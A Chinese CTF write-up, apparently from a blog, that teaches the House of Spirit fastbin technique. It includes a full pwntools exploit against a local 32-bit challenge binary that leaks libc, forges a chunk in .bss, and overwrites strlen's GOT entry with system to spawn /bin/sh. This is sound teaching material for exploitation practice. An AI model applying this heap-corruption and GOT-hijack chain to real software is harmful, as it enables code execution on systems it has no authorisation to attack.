呜呜呜,时隔多个月,继续学pwn
目录
3.message 构造fake chunk的next chunk合法,绕过检测
4.order释放,将fake chunk放到fast bin中,等待add返回
6.通过message,修改notice指向的区域(got表,这里是strlen的got表)
前言
将chunk劫持到指定位置,能够大有作为,而House Of Spirit的目的就是这一点。最初了解仅是了解,通过本题,对于利用手法的利用,感悟更为深入。
零、House Of Spirit介绍
House of Spirit 是 the Malloc Maleficarum
中的一种技术。
该技术的核心在于在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配指定地址的 chunk 的目的。
要想构造 fastbin fake chunk,并且将其释放时,可以将其放入到对应的 fastbin 链表中,需要绕过一些必要的检测,即
- 1、fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理 IS_MAPPED,记录当前 chunk 是否是由 mmap 分配的,这个标志位位于size低二比特位
- 2、fake chunk 地址需要对齐, MALLOC_ALIGN_MASK 因为fake_chunk可以在任意可写位置构造,这里对齐指的是地址上的对齐而不仅仅是内存对齐,比如32位程序的话fake_chunk的prev_size所在地址就应该位0xXXXX0或0xXXXX4。64位的话地址就应该在0xXXXX0或0xXXXX8
- 3、fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐 fake_chunk如果想挂进fastbin的话构造的大小就不能大于0x80,关于对齐和上面一样,并且在确定prev_size的位置后size所在位置要满足堆块结构的摆放位置
- 4、fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem fake_chunk 的大小,大小必须是 2 * SIZE_SZ 的整数倍。如果申请的内存大小不是 2 * SIZE_SZ 的整数倍,会被转换满足大小的最小的 2 * SIZE_SZ 的倍数。32 位系统中,SIZE_SZ 是 4;64 位系统中,SIZE_SZ 是 8。最大不能超过av->system_mem,即128kb。next_chunk的大小一般我们会设置成为一个超过fastbin最大的范围的一个数,但要小雨128kb,这样做的目的是在chunk连续释放的时候,能够保证伪造的chunk在释放后能够挂在fastbin中main_arena的前面,这样以来我们再一次申请伪造chunk大小的块时可以直接重启伪造chunk
- 5、fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况 这个检查就是fake_chunk前一个释放块不能是fake_chunk本身,如果是的话_int_free函数就会检查出来并且中断
想要使用该技术分配 chunk 到指定地址,其实并不需要修改指定地址的任何内容,关键是要能够修改指定地址的前后的内容使其可以绕过对应的检测。
一、题目分析
首先查看保护信息
我们可以往劫持got表的方向考虑
(图片来自好好说话系列博客)
一方面,这种长度可以控制物理临近chunk的控制字段;然而不可忽视的是,如果结构中有关键指针,通过溢出覆盖指针位为指定值,则很有可能得到任意地址读写执行等效果。
实际上,next就是一个指针,起到的效果是,将一块块申请到的rifle结构体,以链接的形式存储。next指向下一块结构体。
该怎么利用呢?不妨先看看其他功能。
free会将链接起来的结构体全部free,直到遇到next=NULL!
结合main函数中对notice的赋值
因此,不难发现,最初的notice指针,是往临近自己的一块全局变量数组区域中,写信息。
再看看其他函数功能
试想我们能够伪造结构体指针,那么就可以把结构体指针指向区域偏移0x0和偏移0x19的地方连续读取信息。
show_state函数似乎没什么用,但是其中涉及到的变量——rifle_cnt以及order_num分别在add和order时自增1。或者说,这两个值的大小,我们愿意的话,是可以被我们控制的!
不容忽视的是,这两个全局变量,在内存布局上和其他全局变量的位置关系!
对整个程序有了基本了解之后,我们考虑如何劫持got表。
- libc如何泄露?(获得system、binsh)
- 如何修改?
泄露需要读权限——伪造结构体指针?!
修改——①message指针具有写权限 ②结构体指针在创建时具有写权限
综上,可以利用House Of Spirit手法,实现上述目标。
大致流程如下
- 泄露libc:利用创建结构体时的堆溢出漏洞,覆盖next指针为got表地址,这样在show_rifle时,会将最后一个next指针指向的区域,也即got表内容泄露出来
- 修改got表:
- 由于order_num、rifle_cnt、notice、unk_804a2c0这四个全局变量的位置关系,以及本身特性,可以构造fake chunk
- 首先将rifle_cnt的值通过反复add,控制到指定大小(0x41)作为fake chunk的size域。
- 再add一个结构体,并通过溢出修改next指针为fake chunk区域,具体位置详见d
- 为了链条free时,free fake chunk 有效,还需要将fake chunk的next chunk的size域控制到合理大小,而message具有写权限,且由于相对距离关系,可以通过message来构造
- 注意:fake chunk的next域需要设为NULL!当时卡了好久
- fake chunk的next域需要大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem
- 通过order free掉所有结构体,注意,最后一个被free的结构体是构造的fake chunk!
- 通过add,可以获取fake chunk,注意,此时fake chunk是在bss段上,且创建时具有的写权限,可以修改notice值!——这就好比notice所在的指针具有写权限,而notice是手,我们可以控制手的位置,实现任意地址写的权限!——通过add时复写notice值为got表地址
- 然后再次通过message,实现修改got表的目的。
至此,可通过键入b’/bin/sh\x00’来getshell!
二、调试过程
细致地了解,每一步发生什么,最终getshell,对于整体的理解,是非常重要的。
这是一个很美妙的过程,
1.泄露libc
2.大量add设置fake chunk的size合法
3.message 构造fake chunk的next chunk合法,绕过检测
4.order释放,将fake chunk放到fast bin中,等待add返回
5.修改notice指针,指向got表
6.通过message,修改notice指向的区域(got表,这里是strlen的got表)
这是因为,修改为 p32(system)+b';/bin/sh\x00'
已经通过构造的system(’/bin/sh\x00’),getshell
三、exp
from pwn import *
from LibcSearcher import *
context(arch='i386',log_level='debug')
io=process('./pwn')
elf=ELF('./pwn')
def add(name,description):
# io.recvuntil(b'Action:')
io.sendline(b'1')
io.sendline(name)
io.sendline(description)
def show_rifles():
# io.recvuntil(b'Action:')
io.sendline(b'2')
def free_order():
# io.recvuntil(b'Action:')
io.sendline(b'3')
def message(msg):
io.sendline(b'4')
io.sendline(msg)
gdb.attach(io);input('[+]gdb attached!')
#########泄露libc
puts_got=elf.got['puts']
add(b'a'*27+p32(puts_got),b'leak libc')
show_rifles()
puts_real=u32(io.recvuntil(b'\xf7')[-4:])
success('puts:'+hex(puts_real))
libc=LibcSearcher('puts',puts_real)
libc_base=puts_real-libc.dump('puts')
system=libc_base+libc.dump('system')
binsh=libc_base+libc.dump('str_bin_sh')
success('system:'+hex(system))
success('binsh:'+hex(binsh))
input('[!]check!')
#########控制size字段
head=0x804A288
rifle_cnt=0x804A2A4
for i in range(0x40-1):
# add(b'a'*27+p32(0),b'b')
add(b'a',b'padding')
add(b'a'*27+p32(rifle_cnt+4),b'b')
input('[!]check!')
#########控制next chunk字段,合法绕过检测
payload=b'a'*(0x38-(0x804A2C0-0x804A2A8)-0x4)+p32(0)+p32(0)+p32(0x41)
message(payload)
input('[!]check!')
#########将fake chunk放到fastbin中
free_order()
input('[!]check!')
#########修改notice指针,指向strlen_got
add(b'a',p32(elf.got['strlen']))
input('[!]check!')
#########劫持got表为system,并输入/bin/sh\x00参数
message(p32(system)+b';/bin/sh\x00')
input('[!]check!!')
#########getshell!!!
io.interactive()